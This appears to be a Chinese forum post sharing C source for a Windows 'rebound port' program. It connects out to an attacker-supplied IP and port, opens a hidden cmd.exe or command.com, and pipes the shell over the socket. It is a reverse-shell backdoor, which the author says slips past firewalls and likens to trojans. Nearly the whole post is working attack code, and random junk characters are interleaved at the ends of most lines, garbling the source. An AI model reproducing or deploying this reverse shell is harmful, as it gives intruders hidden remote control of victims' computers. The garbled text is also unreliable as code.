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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 K$Ph$P@   
: )z_q!$j  
/* ============================== ^/+sl-6/F  
Rebound port in Windows NT s6$3[9Vh&9  
By wind,2006/7 BAhC-;B#R  
===============================*/ 1m0':n Vdu  
#include anvj{1  
#include 40<&0nn  
xv:?n^yt.[  
#pragma comment(lib,"wsock32.lib") \x!>5Z Y  
,jn?s^X6Dj  
void OutputShell(); "Wm~\)t(  
SOCKET sClient; H07j&  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; eZ!k'bS=  
=%3nKSg  
void main(int argc,char **argv) b>i=",i\  
{ ]ok>PH]  
WSADATA stWsaData; I?>#neHc6  
int nRet; ^Toi_  
SOCKADDR_IN stSaiClient,stSaiServer; (Y>MsqwWfC  
C gx?K]>y  
if(argc != 3) 3\{Sf /#  
{ _a&|,ajy >  
printf("Useage:\n\rRebound DestIP DestPort\n"); ZYA(Bg^  
return; ,:`6x[ +  
} ]c)SVn$6  
_#C}hwOR>X  
WSAStartup(MAKEWORD(2,2),&stWsaData); $<v_Vm?6d  
,<1*  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0REWbcxd"  
Iqsk\2W]a3  
stSaiClient.sin_family = AF_INET; CC\z_C*P-p  
stSaiClient.sin_port = htons(0); qj&)w9RLJE  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); +]-KzDsr"V  
{<kG{i/  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9^u?v`!  
{ MxRU6+a  
printf("Bind Socket Failed!\n"); q3F5\6aN  
return; MbfzGYA2~  
} +&OqJAu  
WM"^#=+$  
stSaiServer.sin_family = AF_INET; LzRiiP^q  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 0Mg8{  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); j;)g+9`  
^{:jY, ?]  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) F-^HN%  
{ k`TJ<Dv;  
printf("Connect Error!"); 91H0mP>ki  
return; ZRB 0OH  
} ]ufW61W6Ci  
OutputShell(); !dY:S';~  
} "ILWIzf.]  
iwQ-(GjM[A  
void OutputShell() It4z9Gh  
{ aLi_Hrb9  
char szBuff[1024]; /\rq$W_  
SECURITY_ATTRIBUTES stSecurityAttributes; }4SSo)Uv/  
OSVERSIONINFO stOsversionInfo; jJZsBOW[8  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; pFTlhj)1  
STARTUPINFO stStartupInfo; V=&,^qZ  
char *szShell;  7E`(8i  
PROCESS_INFORMATION stProcessInformation; T-C#xmY(  
unsigned long lBytesRead; nud=uJ"(  
xGfD z*t  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); H@E" )@92  
E[.tQ|C  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); W@,p9=425  
stSecurityAttributes.lpSecurityDescriptor = 0; hF"g 91P  
stSecurityAttributes.bInheritHandle = TRUE; y?n2`l7f  
lt6;*z[  
kEOS{C%6R  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); -likj# Z  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); b{L/4bu  
Tn*9lj4  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); nbm&wa[  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ADDSCY=,  
stStartupInfo.wShowWindow = SW_HIDE; v"b+$*  
stStartupInfo.hStdInput = hReadPipe; *AO,^R&e.  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; eJxw) zd7  
Fl kcU `j  
GetVersionEx(&stOsversionInfo); g!lWu[d  
)Im#dVQs=  
switch(stOsversionInfo.dwPlatformId) N/ %WsQp  
{ %E#s\B,w  
case 1: 'p> Ra/4  
szShell = "command.com"; ]s'Q_wh_-v  
break; !W5 (  
default: Si8pzd  
szShell = "cmd.exe"; '*5i)^  
break; =Je[c,&j$?  
} =]6%G7T  
7 n8"/0kc:  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ,w {e  
j(m.$:  
send(sClient,szMsg,77,0); 0AZ")<^~7  
while(1) (s.0P O`  
{ #Y*X<L  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); >/l? g5{  
if(lBytesRead) /t+f{VX$  
{ n^Hm;BiE#  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); %zG;Q@  
send(sClient,szBuff,lBytesRead,0); RL!Oi|8  
} CyS$|E  
else 'u*D A|HC  
{ r_ I5. gK  
lBytesRead=recv(sClient,szBuff,1024,0); ?9e_gV{&;  
if(lBytesRead<=0) break; $xzAv{  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ojcA<60 '  
} X{5vXT\/y  
} i3tg6o4C  
FHj" nB  
return; uatm/o^~,  
}
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